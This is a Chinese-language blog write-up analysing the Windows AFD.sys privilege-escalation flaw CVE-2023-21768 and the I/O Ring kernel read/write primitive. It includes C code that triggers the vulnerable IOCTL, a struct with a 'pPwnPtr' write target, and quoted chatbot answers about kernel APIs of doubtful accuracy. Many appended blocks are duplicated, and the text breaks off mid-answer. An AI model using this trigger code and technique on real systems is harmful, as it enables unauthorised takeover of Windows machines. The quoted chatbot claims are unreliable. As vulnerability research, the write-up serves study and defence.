对最近的一个Windows提权洞进行分析,漏洞点不是很难,相比于之前分析的CVE-2021-1732,过程还简单一些,主要是学习I/O Ring这种读写原语,感觉后续微软可能会对I/O Ring的预注册输出缓冲区进行一些调整修改。还有就是分析过程中,结合chatGPT,感觉是一个不错的方法。
实验环境
镜像下载:ed2k://|file|zh-cn_windows_11_consumer_editions_version_22h2_updated_nov_2022_x64_dvd_2c7e96c3.iso|5673539584|EB8FF2B481BB6AFE71B2784C6485733B|/
安装镜像就不用多说,网上教程很多,这里需要注意的是exp的编译,由于提权过程中使用到的某些技术,我们需要Visual Studio 2022,并且安装较高版本的win11 SDK,我这里是Windows 11 SDK (10.0.22621.0)
环境搭建好之后,先用编译好的exp进行测试一下。

漏洞点在AFD.sys这个驱动中,简单了解下AFD.sys,问问chatGPT。
根据后面的分析来看,简单讲就是AFD.sys的一个函数afd!AfdNotifyRemoveIoCompletion中出现了漏洞,存在我们可控制的变量,并且还有赋值操作,当我们构造的变量是一个地址的话,就可以将想设置的值赋值到对应的地址空间中,当然想进一步利用,实现提权,还需要其他的技术。
我们将打补丁前后的文件进行对比,找出打补丁的位置。
只不过感觉实际上对比补丁貌似也是个体力活,里面实际上有很多0.99的,可能也不是那么容易找到修改的地方。

diaphora对比一下反编译出来的伪代码,貌似diaphora可以直接将它认为有区别的函数自动提取出来。

可以看到在进行赋值前,添加了ProbeForWrite函数,来检测目标地址是否可访问,所以这里应该就是漏洞点了。
这里可能需要先提前去了解有点驱动如何编写自定义的派遣函数。
要利用这个漏洞,首先我们需要知道如何到达漏洞点,通过交叉引用,可以发现调用链是这样的AfdFastIoDeviceControl-->AfdNotifySock-->AfdNotifyRemoveIoCompletion()
关键是搞懂AfdFastIoDeviceControl-->AfdNotifySock,我们对AfdNotifySock进行交叉引用,会发现两个表,AfdImmediateCallDispatch和AfdIrpCallDispatch,这两个表里面的函数都是AFD驱动程序的调度函数。

接着对AfdImmediateCallDispatch进行交叉引用,我们将在AfdFastIoDeviceControl()函数中看到下面的代码,实际上对AfdIrpCallDispatch进行交叉引用,也会在其对应的函数看到类似的代码。

所以我们可以通过代码中的AfdIoctlTable去获取自定义的控制信号,前面我们已经知道AfdNotifySock在AfdImmediateCallDispatch表中的下标是73,通过下面的图片可以知道对应的控制信号是12127h。

知道了控制信号是12127h,获取我们可以在用户层调用DeviceIoControl来访问到这个函数。
庆幸的是x86matthew(一直比较关注的一个国外师傅,经常发布一些创新性的代码)曾经发布了一些代码,其原本是绕过Winsock的API函数,采用NtCreateFile和NtDeviceIoControlFile来进行AFD驱动程序通信,目的为了网络通信的隐蔽性,不容易被检测,但是我们可以借鉴里面的一些代码,方便我们调试AfdIoctlTable,了解如何触发漏洞。
我们的目的是需要搞明白,如何才能到达漏洞点。
编写的测试代码如下,由于我们不知道传入数据是啥,所以直接传入一些字符串AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL
在afd!AfdNotifySock打上断点,断下来,r9寄存器指向我们的输入。

接下来是第一个判断
所以需要满足
继续调试,发现对InputBuffer的一些值进行了判断,并且将*(void **)_InputBuffer传入了 ObReferenceObjectByHandle()函数。

不要完全相信反编译的伪代码,其中的一些偏移可能是错误的,最好还是看汇编,或者重新修改一下变量类型,修改为byte,效果如下。
所以我们需要对InputBuffer的一些值进行设置,最好是搞个结构体,通过整个函数中出现InputBuffer,可得到下面的结构体,我们可以将其导入ida,让伪代码更加清晰。
绕过if的一些值的判断是简单的,重点是如何绕过ObReferenceObjectByHandle(),其返回值必须>=0,这里可以去问问chatGPT,大部分情况下,可以提供非常有效的帮助。
OK,根据其回答来看,应该是可以通过CreateIoCompletionPort或者NtCreateIoCompletion函数来创建有效的IO完成对象的句柄,从而绕过ObReferenceObjectByHandle()。
继续向下看,有个while循环,貌似需要我们的InputBuffer->pData1满足一些条件。

所以现在设置
然后就可以到达AfdNotifyRemoveIoCompletion()了,其参数是一个数,IoCompletionObject,InputBuffer,目前我们的Data如下,Data.pData2 还未出现,4byte,目前来说不为空即可,但是根据结构体的定义,将其设置为一个地址。
接下来分析AfdNotifyRemoveIoCompletion(),看看需要绕过那些检测,从而到达漏洞点。

需要满足
接下来我们就遇到了IoRemoveIoCompletion函数,想要到到达漏洞点,貌似我们需要让其返回STATUS_SUCCESS(0)。

chatGPT对IoRemoveIoCompletion其介绍如下
所以貌似我们现在需要在执行这个函数前,调用某个函数来向I/O完成队列中添加一个I/O操作,继续向chatGPT提问。
所以我们似乎可以使用上面的函数,来添加已完成的I/O操作,从而使IoRemoveIoCompletion正常返回。
NtSetIoCompletion定义如下
现在采用下面的代码来到达漏洞点。
可以看到成功返回。

目前已经解决了关于如何到达漏洞点的问题,但是如何设置我们想要的值呢,根据afd!AfdNotifyRemoveIoCompletion的分析来看,貌似writevalue是由IoRemoveIoCompletion这个函数来决定的,所以我们需要对这个函数进行分析。
这个函数来自于ntoskrnl.exe,找到函数对应的代码,可以看到,writevalue的值是由KeRemoveQueueEx函数返回的

这个函数的作用是让等待队列中的线程或进程不再等待,可以继续执行。如果函数成功地将线程或进程从等待队列中移除,则返回不为0的值;否则,返回0。需要注意的是,一旦线程或进程从等待队列中移除,它的状态会发生变化,后续操作需要根据具体情况而定。
根据调试情况来看,这里的返回值,貌似一直都是0x1,这应该代表成功将一个线程或进程从等待队列中移除吧,或许有其他手段来移除多个线程或进程,从而返回想要的值。
目前我们可以利用漏洞完成任意地址赋值为0x1,这离提权实际上还远远不够,想要提权,至少需要实现任意地址写,任意地址读。
关于I/O Ring的介绍,Yarden Shafir发布了很多文章,I/O 环——当一个 I/O 操作不够时,I/O 环的一年:发生了什么变化?,一个 I/O 环来统治它们:Windows 11 上的完整读/写利用原语,第三篇文章就是讲的一种特定于 Windows 11 22H2+ 的后渗透原语,非常有价值的后渗透原语,只需要一个内核任意写漏洞,甚至可以向本漏洞一样,只能固定写入0x1,都可以采用此后渗透源语来进行利用。
在阅读完相关的资料后,可以感受到Yarden Shafir花费了大量的时间到I/O Ring的逆向研究中,下面我将以简略的方式,讲述下这个技术的原理,由于本人技术有限,如有错误,请谅解。
I/O Ring,说到底还是用来在计算机硬件和软件之间传输数据的,只是多了个Ring,代表这是一个环形结构,其包含了一个提交队列,如下。

每一个NT_IORING_SQE,都代表着一个I/O操作,目前支持的I/O操作如下,这些操作都会有一个操作码,可通过逆向工程获取,ioringapi.h头文件也包含了。
正是上面的各种操作,组成一个提交队列。

此技术使用的就是预注册输出缓冲区文件读写,其设计到的函数有BuildIoRingReadFile(),BuildIoRingRegisterBuffers(),BuildIoRingWriteFile(),如果想去了解其他的操作,可以自己根据文档编写相应的代码去学习。
这里我为了更好的理解原理,我打算编写一个正常使用API函数实现预注册输出缓冲区文件读写的代码,然后和不正常的方法进行对比,根据文档以及chatGPT,编写了相应功能的代码,实现了两个功能
大概步骤是
效果如下

现在我们就基本上了解了正常情况下预注册输出缓冲区文件读写是如何实现的,借用下文章中的图片。

上面的情况是我们正常调用相关函数,实现的预注册输出缓冲区文件读写,其过程是非常安全的,其肯定会检测我们读取,或写入的地址是否是用户层的。
接下来先看我们CreateIoRing创建IORING时,会创造的两个结构,这些都是Yarden Shafir通过逆向工程获取到的,我用chatGPT给参数注释了下。
_IORING_OBJECT结构体,内核层的结构体。
_HIORING结构体,用户层。
上面两个结构体中我们需要注意的是下面的参数,分别是注册缓冲区的指针,其是相对应的,值应该也是一样的。
根据Yarden Shafir的研究发现,或许我们可以不调用BuildIoRingRegisterBuffers()去注册缓冲区,如果我们能直接控制注册缓冲区的指针(IoRing->RegBuffers)直接指向我们自己的一个假缓冲区,也可以被认为我们注册了缓冲区,然后再控制列表当中的Address地址为内核的地址,再结合读写文件,就可以做到任意内核地址读写,并且这种并不会被探测,如果缓冲区在注册时是安全的,然后复制到内核分配,那么当它们作为操作的一部分被引用时它们仍然是安全的,这些肯定都是逆向工程那些函数得出的结论,如果十分感兴趣,自己也可以逆着玩。
当然由于我们要修改IoRing->RegBuffers,这个地址在内核空间,所以前提是得有个内核任意地址写漏洞。
需要注意的是在Windows 11 22H2版本下,内核中的缓冲区数组不再是地址和长度的平面数组(IORING_BUFFER_INFO),而是一个新的结构体。
需要这样初始一下。
然后我发现内核的这个缓冲区结构貌似和我们正常调用BuildIoRingRegisterBuffers()的不一样,前者是指针数组,后者是结构体数组,可能是内核和用户层有所区别吧。
步骤如下
图片如下。

步骤如下
图片如下

接下来进行Exp的编写。
解决了原理的问题,还需要解决如何获取到内核指向_IORING_OBJECT的结构体指针呢,这里需要用到常用的句柄查找技术,步骤如下
获取System进程Token地址,获取本进程Token地址,IORing初始化,预注册缓冲初始化,这里使用了管道代替文件,所以还需要管道初始化。
Exploit.cpp
struct.h
win_defs.h
调试就根据自己编写代码时去调试了,主要是看_IORING_OBJECT这个内核结构体的那两个成员是否写成功。
运行exp结果如下。

f28K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4#2M7X3W2@1P5h3W2F1N6r3g2D9L8r3W2Y4k6h3&6U0k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8K6i4K6u0r3M7r3q4@1j5$3S2Q4x3X3c8@1N6h3g2K6k6r3q4&6i4K6u0V1k6i4S2H3L8r3!0A6N6q4)9J5k6s2N6W2k6r3&6W2M7$3c8S2P5g2)9J5k6s2m8%4L8X3W2F1k6#2)9J5k6s2N6A6L8X3c8G2N6%4y4Q4x3X3c8S2L8X3y4A6L8r3I4S2M7Y4W2Q4x3X3c8X3N6h3&6U0N6r3W2G2L8W2)9J5k6r3c8J5K9i4k6W2M7W2)9J5k6s2N6A6L8Y4y4G2j5$3E0Q4x3V1j5`.
CVE-2023-21768 - Security Update Guide - Microsoft - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
(58条消息) VMware虚拟机安装Win11教程(解决常见报错)_TheITSea的博客-CSDN博客
GitHub - xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768
AFD.sys是Windows操作系统中的一个系统文件,是关于网络协议的文件,主要负责Winsock核心服务的实现和运行。Winsock是Windows下网络协议的一个API,通过它应用程序可以访问网络,AFD.sys则是其中实现的核心服务。具体来说,它提供了以下功能:
1. 网络数据的传输和接收;
2. 网络套接字的创建、连接、监听等操作;
3. 实现了对TCP/IP和UDP/IP等网络协议的支持;
4. 管理和维护网络缓存。
简而言之,AFD.sys是Windows网络协议栈的一个核心部分,负责管理和协调网络通信的各项操作。
AFD.sys是Windows操作系统中的一个系统文件,是关于网络协议的文件,主要负责Winsock核心服务的实现和运行。Winsock是Windows下网络协议的一个API,通过它应用程序可以访问网络,AFD.sys则是其中实现的核心服务。具体来说,它提供了以下功能:
1. 网络数据的传输和接收;
2. 网络套接字的创建、连接、监听等操作;
3. 实现了对TCP/IP和UDP/IP等网络协议的支持;
4. 管理和维护网络缓存。
简而言之,AFD.sys是Windows网络协议栈的一个核心部分,负责管理和协调网络通信的各项操作。
struct IO_STATUS_BLOCK
{
union
{
DWORD Status;
PVOID Pointer;
};
DWORD* Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
int main()
{
// get NtDeviceIoControlFile function ptr
NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");
if (NtDeviceIoControlFile == NULL)
{
return 1;
}
// get NtCreateFile function ptr
NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");
if (NtCreateFile == NULL)
{
return 1;
}
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
char Data[0x30] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL";
// create status event
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
// error
return 1;
}
// set afd endpoint path
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
// initialise object attributes
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
// create socket handle
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
// error
CloseHandle(hEvent);
return 1;
}
/*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[in] HANDLE FileHandle,
[in, optional] HANDLE Event,
[in, optional] PIO_APC_ROUTINE ApcRoutine,
[in, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG IoControlCode,
[in, optional] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);
*/
NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
if (INVALID_HANDLE_VALUE != hSocket)
{
CloseHandle(hSocket);
}
if (NULL != hEvent)
{
CloseHandle(hEvent);
}
}
struct IO_STATUS_BLOCK
{
union
{
DWORD Status;
PVOID Pointer;
};
DWORD* Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
int main()
{
// get NtDeviceIoControlFile function ptr
NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");
if (NtDeviceIoControlFile == NULL)
{
return 1;
}
// get NtCreateFile function ptr
NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");
if (NtCreateFile == NULL)
{
return 1;
}
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
char Data[0x30] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL";
// create status event
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
// error
return 1;
}
// set afd endpoint path
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
// initialise object attributes
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
// create socket handle
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
// error
CloseHandle(hEvent);
return 1;
}
/*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[in] HANDLE FileHandle,
[in, optional] HANDLE Event,
[in, optional] PIO_APC_ROUTINE ApcRoutine,
[in, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG IoControlCode,
[in, optional] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);
*/
NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
if (INVALID_HANDLE_VALUE != hSocket)
{
CloseHandle(hSocket);
}
if (NULL != hEvent)
{
CloseHandle(hEvent);
}
}
if ( InputBufferLength != 0x30 || OutputBufferLength )
{
v10 = 0xC0000004;
goto LABEL_45; // bad
}
if ( OutputBuffer )
goto LABEL_5; // bad
if ( InputBufferLength != 0x30 || OutputBufferLength )
{
v10 = 0xC0000004;
goto LABEL_45; // bad
}
if ( OutputBuffer )
goto LABEL_5; // bad
if ( !*(_DWORD *)(*(_QWORD *)&_InputBuffer + 32i64) )
goto bad1;
if ( *(_DWORD *)(*(_QWORD *)&_InputBuffer + 0x28i64) )
{
if ( !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 24i64) || !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) )
goto bad1;
}
else if ( *(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) || *(_DWORD *)(*(_QWORD *)&_InputBuffer + 36i64) )
{
bad1:
ret = 0xC000000D;
goto bad;
}
if ( !*(_DWORD *)(*(_QWORD *)&_InputBuffer + 32i64) )
goto bad1;
if ( *(_DWORD *)(*(_QWORD *)&_InputBuffer + 0x28i64) )
{
if ( !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 24i64) || !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) )
goto bad1;
}
else if ( *(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) || *(_DWORD *)(*(_QWORD *)&_InputBuffer + 36i64) )
{
bad1:
ret = 0xC000000D;
goto bad;
}
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE HandleIoCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[0x4];
}AFD_NOTIFYSOCK_DATA;
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE HandleIoCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[0x4];
}AFD_NOTIFYSOCK_DATA;
问:如果第三个参数是IoCompletionObjectType呢 这个对象类型的句柄可以调用什么函数来创建
答:IO完成对象是Windows内核中的一种同步机制,它用于通知应用程序有关操作完成的消息。IO完成对象是由操作系统内核自动创建和管理的,因此没有专门的函数来创建它们。在Windows操作系统中,可以使用CreateIoCompletionPort函数将IO完成端口与文件句柄关联,从而将IO操作通知到IO完成对象中。关联之后,可以使用GetQueuedCompletionStatus函数等待IO完成对象,以获取IO操作完成的状态和相关数据。因此,IO完成对象的句柄实际上是IO完成端口的句柄,可以使用CreateIoCompletionPort函数创建。
CreateIoCompletionPort是Win32 API之一,底层实现是由Windows内核的NTOSKRNL.EXE模块提供支持,具体实现可参考Windows Driver Kit(WDK)提供的内核模式驱动开发文档。其底层函数是NtCreateIoCompletion,该函数是内核发起IO请求的函数之一,用于创建IO完成端口对象并返回其句柄。它的定义如下:
```C
NTSYSAPI
NTSTATUS
NTAPI
NtCreateIoCompletion(
_Out_ PHANDLE IoCompletionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG NumberOfConcurrentThreads
);
```
其中,
- IoCompletionHandle:用于返回IO完成端口对象的句柄。
- DesiredAccess:指定IO完成端口对象的访问权限。
- ObjectAttributes:用于指定IO完成端口对象的名称及其属性。
- NumberOfConcurrentThreads:指定IO请求的并发线程数。
问:如果第三个参数是IoCompletionObjectType呢 这个对象类型的句柄可以调用什么函数来创建
答:IO完成对象是Windows内核中的一种同步机制,它用于通知应用程序有关操作完成的消息。IO完成对象是由操作系统内核自动创建和管理的,因此没有专门的函数来创建它们。在Windows操作系统中,可以使用CreateIoCompletionPort函数将IO完成端口与文件句柄关联,从而将IO操作通知到IO完成对象中。关联之后,可以使用GetQueuedCompletionStatus函数等待IO完成对象,以获取IO操作完成的状态和相关数据。因此,IO完成对象的句柄实际上是IO完成端口的句柄,可以使用CreateIoCompletionPort函数创建。
CreateIoCompletionPort是Win32 API之一,底层实现是由Windows内核的NTOSKRNL.EXE模块提供支持,具体实现可参考Windows Driver Kit(WDK)提供的内核模式驱动开发文档。其底层函数是NtCreateIoCompletion,该函数是内核发起IO请求的函数之一,用于创建IO完成端口对象并返回其句柄。它的定义如下:
```C
NTSYSAPI
NTSTATUS
NTAPI
NtCreateIoCompletion(
_Out_ PHANDLE IoCompletionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG NumberOfConcurrentThreads
);
```
其中,
- IoCompletionHandle:用于返回IO完成端口对象的句柄。
- DesiredAccess:指定IO完成端口对象的访问权限。
- ObjectAttributes:用于指定IO完成端口对象的名称及其属性。
- NumberOfConcurrentThreads:指定IO请求的并发线程数。
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = &test; //一个地址
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.pPwnPtr = &test;
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = &test; //一个地址
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.pPwnPtr = &test;
`IoRemoveIoCompletion`是Windows Driver Kit(WDK)提供的函数,用于将已完成的I/O操作从I/O完成端口的完成队列中移除并返回。
该函数的原型如下:
```c
NTSTATUS IoRemoveIoCompletion(
HANDLE CompletionPortHandle,
PVOID *KeyContext,
PVOID *ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER Timeout
);
```
其中,参数的含义如下:
- `CompletionPortHandle`:对应I/O完成端口的句柄。
- `KeyContext`:指向指针的指针,用于获取与已完成I/O操作相关联的关键上下文。
- `ApcContext`:指向指针的指针,用于获取与已完成I/O操作相关联的应用程序上下文。
- `IoStatusBlock`:指向`IO_STATUS_BLOCK`结构的指针,用于获取已完成I/O操作的状态信息。
- `Timeout`:可选参数,指向`LARGE_INTEGER`结构的指针,用于指定函数等待的超时时间。如果为`NULL`,函数将不会等待,并立即返回。
该函数用于从I/O完成端口的完成队列中删除已完成的I/O操作并获取相关信息,以便驱动程序进行后续处理,例如通知相关进程/线程或启动下一轮I/O操作。
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。
`IoRemoveIoCompletion`是Windows Driver Kit(WDK)提供的函数,用于将已完成的I/O操作从I/O完成端口的完成队列中移除并返回。
该函数的原型如下:
```c
NTSTATUS IoRemoveIoCompletion(
HANDLE CompletionPortHandle,
PVOID *KeyContext,
PVOID *ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER Timeout
);
```
其中,参数的含义如下:
- `CompletionPortHandle`:对应I/O完成端口的句柄。
- `KeyContext`:指向指针的指针,用于获取与已完成I/O操作相关联的关键上下文。
- `ApcContext`:指向指针的指针,用于获取与已完成I/O操作相关联的应用程序上下文。
- `IoStatusBlock`:指向`IO_STATUS_BLOCK`结构的指针,用于获取已完成I/O操作的状态信息。
- `Timeout`:可选参数,指向`LARGE_INTEGER`结构的指针,用于指定函数等待的超时时间。如果为`NULL`,函数将不会等待,并立即返回。
该函数用于从I/O完成端口的完成队列中删除已完成的I/O操作并获取相关信息,以便驱动程序进行后续处理,例如通知相关进程/线程或启动下一轮I/O操作。
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。
问:如何向I/O完成端口的完成队列中添加已完成的I/O操作,有那些函数
答:
在Windows平台下,如果您想要向I/O完成端口的完成队列中添加已完成的I/O操作,您可以使用以下函数:
1. `NtSetIoCompletion`:该函数是Windows系统调用之一,可将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于用户模式程序使用的I/O完整端口。
2. `IoSetIoCompletion`:该函数是Windows驱动程序开发包(WDK)中的一部分,与`NtSetIoCompletion`函数相似。驱动程序可以使用该函数将I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于驱动程序中使用的I/O完整端口。
这两个函数的作用类似,它们都用于将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。这些函数调用后,I/O管理器将在IRP的调用线程上调用已完成I/O请求的完成例程。
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。
问:如何向I/O完成端口的完成队列中添加已完成的I/O操作,有那些函数
答:
在Windows平台下,如果您想要向I/O完成端口的完成队列中添加已完成的I/O操作,您可以使用以下函数:
1. `NtSetIoCompletion`:该函数是Windows系统调用之一,可将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于用户模式程序使用的I/O完整端口。
2. `IoSetIoCompletion`:该函数是Windows驱动程序开发包(WDK)中的一部分,与`NtSetIoCompletion`函数相似。驱动程序可以使用该函数将I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于驱动程序中使用的I/O完整端口。
这两个函数的作用类似,它们都用于将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。这些函数调用后,I/O管理器将在IRP的调用线程上调用已完成I/O请求的完成例程。
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。
NtSetIoCompletion 是 Windows 操作系统内核中的一个函数,用于向 I/O 完成端口的完成队列中添加一个 I/O 完成包。该函数通常在内核模式下使用,用于驱动程序或其他内核组件实现异步 I/O 操作。
NtSetIoCompletion 函数的原型如下:
scss
Copy code
NTSTATUS NtSetIoCompletion(
